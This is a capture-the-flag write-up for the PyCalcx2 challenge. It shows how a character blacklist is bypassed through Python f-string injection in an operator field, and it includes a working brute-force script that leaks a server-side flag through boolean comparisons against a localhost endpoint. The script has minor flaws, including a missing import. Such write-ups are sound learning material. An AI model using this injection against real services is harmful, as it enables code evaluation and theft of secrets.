Introduction
This post is also based on the write-up given by p4[1]
Vulnerability Analysis
The only difference between this challenge and the previous one is that op will also be checked against the blacklist used in get_value
def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val op = get_op(get_value(arguments['op'].value))
Actually the difference here should be a hint to solve Pycalcx. This time there should not be quote symbol in op.
According to [1], there is a new feature in python3 [2]. The modifer ‘f’ in the form f'{expr}’ will eval the expr. A simple script could be used to verify this feature.
$ cat test.py flag = "DANGOKYO{What?}" print(f'{flag}'); $ python3 test.py DANGOKYO{What?}
Still similar to the techniques used in boolean-based SQL injection, this challenge uses the following combination of get the flag.
arg1 = "T" op = "+f"; arg2 = ru{FLAG > source or 14:x} repr(arg1)+repr(op)+repr(arg2) = 'T''+f''ru{FLAG > source or 14:x}'
Another trick used here is how to display ‘e’ in the evaluation result. Since quote and double-quote are both in the blacklist, [1] gives a solution to use 14:x to display ‘e’.
Exploit
import re import urllib import requests def exploit(): flag = "M" while True: prev = 0 for i in range(0, 0x7f): c = chr(i) if c in string.printable: #print('testing', c) arg1 = "T"; op = "+f"; arg2 = "ru{FLAG > source or 14:x}" print((repr(arg1) + repr(op) + repr(arg2))); result = requests.get("http://localhost/cgi-bin/server2.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2))).text #print(result); if ">>>>" in result: res = re.findall(">>>>.*", result, re.DOTALL)[0] if "True" in res: flag += prev print(flag) break else: prev = c exploit()
Conclusion
Since this is a new feature in python3, I have to use the following command to change python2 to python3.
update-alternatives --config python
Reference
[1] https://github.com/p4-team/ctf/tree/master/2018-07-13-meepwn-ctf/web_pycalcx#pycalcx2-54-solved-100p
[2] https://www.python.org/dev/peps/pep-0498/